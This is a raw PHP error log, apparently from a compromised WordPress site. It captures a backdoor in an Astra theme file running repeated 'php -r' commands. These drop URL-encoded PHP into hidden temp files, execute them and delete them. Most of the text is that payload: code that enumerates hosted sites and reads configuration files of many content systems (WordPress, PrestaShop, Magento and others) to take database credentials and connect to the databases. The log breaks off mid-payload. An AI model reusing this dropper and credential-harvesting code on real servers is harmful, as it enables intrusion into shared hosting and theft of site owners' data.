[22-Aug-2026 08:46:44 UTC] PHP Warning: system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20%20%20%24r%20%3D%20%22/home%22%3B%20%24dir_public%20%3D%20%22public_html%22%3B%20function%20is_valid_domain%28%24domain%29%20%7B%20%20%20%20%20if%20%28%21substr_count%28%24domain%2C%20%27.%27%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20false%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28stripos%28%24domain%2C%20%27www.%27%29%20%3D%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%24domain%20%3D%20substr%28%24domain%2C%204%29%3B%20%20%20%20%20%7D%20%20%20%20%20%24again%20%3D%20%27http%3A//%27%20.%20%24domain%3B%20%20%20%20%20return%20filter_var%28%24again%2C%20FILTER_VALIDATE_URL%29%3B%20%7D%20%20%24dirs%20%3D%20glob%28%22%7B%24r%7D/%2A%22%2C%20GLOB_ONLYDIR%29%3B%20foreach%20%28%24dirs%20as%20%24path%29%20%7B%20%20%20%20%20%24dir%20%3D%20basename%28%24path%29%3B%20%20%20%20%20if%20%28is_valid_domain%28%24dir%29%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28strlen%28%24dir_public%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%22%7B%24path%7D/%7B%24dir_public%7D%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3Cf%3E%7B%24path%7D/%7B%24dir_public%7D%40%40%40%7B%24dir%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20print%20%22%3Cf%3E%7B%24path%7D%40%40%40%7B%24dir%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.ob_iconv_handle";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[22-Aug-2026 08:50:56 UTC] PHP Warning: system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20print%20%22iUqTneCsxJJHGfkBqk%22.%22HlTGSoFmjAgIbyvWHdJ%22%3Breturn%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.mb_convert";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[22-Aug-2026 08:51:07 UTC] PHP Warning: system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20print%20%22VQJmkYVFEUGVePCI%22.%22lNXDTmrTwspVtXl%22%3Breturn%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.rjust";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[22-Aug-2026 08:51:10 UTC] PHP Warning: system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20print%20%22BmNPWhHepfEOHKc%22.%22EKcaeIqHLF%22%3Breturn%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.request";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[22-Aug-2026 08:51:13 UTC] PHP Warning: system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20print%20%22viCDtjxuoZDmXrx%22.%22wKgRmqucRqFly%22%3Breturn%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.ibase_pconnection";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[22-Aug-2026 13:00:07 UTC] PHP Parse error: Unclosed '{' in /tmp/.cache on line 1
[22-Aug-2026 13:02:45 UTC] PHP Parse error: Unclosed '{' in /tmp/.cache on line 1
[22-Aug-2026 16:52:21 UTC] PHP Parse error: Unclosed '{' in /tmp/.parle_tokens on line 1
[22-Aug-2026 16:55:46 UTC] PHP Parse error: Unclosed '{' in /tmp/.requests on line 1
[22-Aug-2026 21:09:31 UTC] PHP Parse error: Unclosed '{' in /tmp/.lock on line 1
[22-Aug-2026 21:12:01 UTC] PHP Parse error: Unclosed '{' in /tmp/.partition on line 1
[23-Aug-2026 01:34:04 UTC] PHP Parse error: Unclosed '{' in /tmp/.rfind on line 1
[23-Aug-2026 01:37:09 UTC] PHP Parse error: Unclosed '{' in /tmp/.config on line 1
[23-Aug-2026 04:48:23 UTC] PHP Parse error: Unclosed '{' in /tmp/.locked on line 1
[23-Aug-2026 04:51:39 UTC] PHP Parse error: Unclosed '{' in /tmp/.uconvert on line 1
[23-Aug-2026 08:54:49 UTC] PHP Parse error: Unclosed '{' in /tmp/.ibase_pconnection on line 1
[24-Aug-2026 05:29:46 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.config on line 1
[24-Aug-2026 13:15:09 UTC] PHP Parse error: Unclosed '{' in /tmp/.ibase_pconnection on line 1
[24-Aug-2026 13:17:11 UTC] PHP Parse error: Unclosed '{' in /tmp/.uconvert on line 1
[24-Aug-2026 16:52:37 UTC] PHP Warning: system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20print%20%22yjvktnzLQyhjttHBpkFn%22.%22EtuYmhqynpiChqrIal%22%3Breturn%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.rindex";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[24-Aug-2026 16:52:40 UTC] PHP Warning: system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20print%20%22bKwgHTytZUSn%22.%22FQkkpgjPGKyQMSlakuX%22%3Breturn%3B");foreach($dirs as $d){if(is_dir($d)&& is_writable($d)){$p="{$d}/.ob_iconv_handle";if(file_put_contents($p,$c)){try{include $p;}finally{@unlink($p);}exit;}}}die("!notwrtbl!");'] in /home/gymdaily/public_html/wp-content/themes/astra/inc/customizer/configurations/builder/header/configs/below.builder.php on line 17
[24-Aug-2026 16:52:46 UTC] PHP Warning: system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20%20%20%24r%20%3D%20%22/home%22%3B%20%20function%20is_valid_domain%28%24domain%29%20%7B%20%20%20%20%20if%20%28%21substr_count%28%24domain%2C%20%27.%27%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20false%3B%20%20%20%20%20%7D%20%09if%20%28stripos%28%24domain%2C%20%27http%3A//%27%29%20%3D%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%24domain%20%3D%20substr%28%24domain%2C%207%29%3B%20%09%09%24schema%20%3D%20%27http%3A//%27%3B%20%20%20%20%20%7D%20%09elseif%20%28stripos%28%24domain%2C%20%27https%3A//%27%29%20%3D%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%24domain%20%3D%20substr%28%24domain%2C%208%29%3B%20%09%09%24schema%20%3D%20%27https%3A//%27%3B%20%20%20%20%20%7D%20%09else%20%24schema%20%3D%20%27http%3A//%27%3B%20%09%20%20%20%20%20if%20%28stripos%28%24domain%2C%20%27www.%27%29%20%3D%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%24domain%20%3D%20substr%28%24domain%2C%204%29%3B%20%20%20%20%20%7D%20%09if%20%28strpos%28%24domain%2C%20%27/%27%29%20%21%3D%3D%20false%29%20%7B%20%09%09%24split%20%3D%20explode%28%27/%27%2C%20%24domain%2C%202%29%3B%20%09%09%24domain%20%3D%20%24split%5B0%5D%3B%20%09%7D%20%20%20%20%20%24again%20%3D%20%24schema%20.%20%24domain%3B%20%20%20%20%20return%20filter_var%28%24again%2C%20FILTER_VALIDATE_URL%29%3B%20%7D%20%20function%20emit_found%28%24docroot%2C%20%24url%2C%20%24cms%2C%20%24config_path%29%20%7B%20%20%20%20%20%24d%20%3D%20is_valid_domain%28%24url%29%3B%20%20%20%20%20if%20%28%24d%29%20%7B%20%20%20%20%20%20%20%20%20print%20%22%3Cf%3E%7B%24docroot%7D%40%40%40%7B%24d%7D%40%40%40%7B%24cms%7D%40%40%40%7B%24config_path%7D%3C/f%3E%5Cn%22%3B%20%20%20%20%20%7D%20%7D%20%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20%20function%20scan_wp%28%24p%29%20%7B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28empty%28%24conf%5B%27DB_HOST%27%5D%29%20%7C%7C%20empty%28%24conf%5B%27DB_USER%27%5D%29%20%7C%7C%20empty%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24mysqli%20%3D%20%40new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20if%20%28%21%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%21empty%28%24row-%3Eoption_value%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24row-%3Eoption_value%2C%20%27wp%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_joomla%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27JConfig%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%20false%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/live_site%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2A%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%20%26%26%20%24m%5B1%5D%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27joomla%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20return%20true%3B%20%20%20%20%20%7D%20%20%20%20%20return%20true%3B%20%7D%20%20function%20scan_whmcs%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27JConfig%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24c%2C%20%27%24cc_encryption_hash%27%29%20%3D%3D%3D%20false%20%26%26%20strpos%28%24c%2C%20%27%24license%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24systemurl%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27whmcs%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_drupal%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24base_url%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20%20%20%20%20if%20%28strpos%28%24p%2C%20%27/sites/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Csites%5C%5C%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28%24doc%29%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24m%5B1%5D%2C%20%27drupal%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_opencart%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27DIR_APPLICATION%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24d%20%3D%20null%3B%20%20%20%20%20if%20%28preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5DHTTPS_SERVER%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%5Cs%2A%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24d%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24d%20%26%26%20preg_match%28%22/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5DHTTP_SERVER%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D%5Cs%2A%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24d%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24d%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24d%2C%20%27opencart%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_moodle%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27%24CFG%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%5C%5C%5C%24CFG%5Cs%2A-%3E%5Cs%2Awwwroot%5Cs%2A%3D%5Cs%2A%5B%27%5C%22%5D%28https%3F%3A%5C/%5C/%5B%5E%27%5C%22%5D%2B%29%5B%27%5C%22%5D/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28dirname%28%24p%29%2C%20%24m%5B1%5D%2C%20%27moodle%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_prestashop%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24host%20%3D%20%24user%20%3D%20%24pass%20%3D%20%24db%20%3D%20null%3B%20%20%20%20%20%24prefix%20%3D%20%27ps_%27%3B%20%20%20%20%20if%20%28preg_match%28%22/%27database_host%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24host%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_user%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24user%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_password%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24pass%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_name%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24db%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/%27database_prefix%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24prefix%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24host%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_SERVER_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24host%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24user%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_USER_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24user%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24pass%20%3D%3D%3D%20null%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_PASSWD_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24pass%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%21%24db%20%26%26%20preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_NAME_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24db%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_DB_PREFIX_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20%24prefix%20%3D%20%24m%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20%24doc%20%3D%20dirname%28%24p%29%3B%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27config%27%20%7C%7C%20basename%28%24doc%29%20%3D%3D%3D%20%27app%27%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28basename%28%24doc%29%20%3D%3D%3D%20%27config%27%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28%24doc%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28strpos%28%24p%2C%20%27/app/config/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Capp%5C%5Cconfig%5C%5C%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28dirname%28%24p%29%29%29%3B%20%20%20%20%20%7D%20elseif%20%28strpos%28%24p%2C%20%27/config/%27%29%20%21%3D%3D%20false%20%7C%7C%20strpos%28%24p%2C%20%27%5C%5Cconfig%5C%5C%27%29%20%21%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28%24p%29%29%3B%20%20%20%20%20%7D%20%20%20%20%20if%20%28%24host%20%26%26%20%24user%20%26%26%20%24db%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20%40new%20mysqli%28%24host%2C%20%24user%2C%20%24pass%2C%20%24db%29%3B%20%20%20%20%20%20%20%20%20if%20%28%21%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24table%20%3D%20%24prefix%20.%20%27shop_url%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24sql%20%3D%20%22SELECT%20domain%2C%20domain_ssl%2C%20physical_uri%20FROM%20%60%7B%24table%7D%60%20WHERE%20main%20%3D%201%20LIMIT%201%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24res%20%3D%20%40%24mysqli-%3Equery%28%24sql%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24row%20%3D%20%24res-%3Efetch_assoc%28%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24domain%20%3D%20%21empty%28%24row%5B%27domain_ssl%27%5D%29%20%3F%20%24row%5B%27domain_ssl%27%5D%20%3A%20%24row%5B%27domain%27%5D%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24uri%20%3D%20isset%28%24row%5B%27physical_uri%27%5D%29%20%3F%20%24row%5B%27physical_uri%27%5D%20%3A%20%27/%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24domain%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24scheme%20%3D%20%21empty%28%24row%5B%27domain_ssl%27%5D%29%20%3F%20%27https%3A//%27%20%3A%20%27http%3A//%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24scheme%20.%20%24domain%20.%20%24uri%2C%20%27prestashop%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24res-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28preg_match%28%22/define%5C%5Cs%2A%5C%5C%28%5C%5Cs%2A%27_PS_BASE_URL_%27%5C%5Cs%2A%2C%5C%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%5C%5Cs%2A%5C%5C%29/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24m%5B1%5D%2C%20%27prestashop%27%2C%20%24p%29%3B%20%20%20%20%20%7D%20%7D%20%20function%20scan_magento%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%7D%20%20%20%20%20%24doc%20%3D%20dirname%28dirname%28dirname%28%24p%29%29%29%3B%20//%20app/etc/env.php%20%E2%86%92%20root%20%20%20%20%20if%20%28preg_match_all%28%22/%27base_url%27%5C%5Cs%2A%3D%3E%5C%5Cs%2A%27%28https%3F%3A%5C%5C/%5C%5C/%5B%5E%27%5D%2B%29%27/%22%2C%20%24c%2C%20%24m%29%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28%24m%5B1%5D%20as%20%24url%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20emit_found%28%24doc%2C%20%24url%2C%20%27magento%27%2C%20%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%20function%20scan_mediawiki%28%24p%29%20%7B%20%20%20%20%20%24c%20%3D%20%40file_get_contents%28%24p%29%3B%20%20%20%20%20if%20%28%21%24c%20%7C%7C%20strpos%28%24c%2C%20%27%24wg%27%29%20%3D%3D%3D%20false%29%20%7B%20%20%20%20%20%20%20%20%20return%3B%20%20%20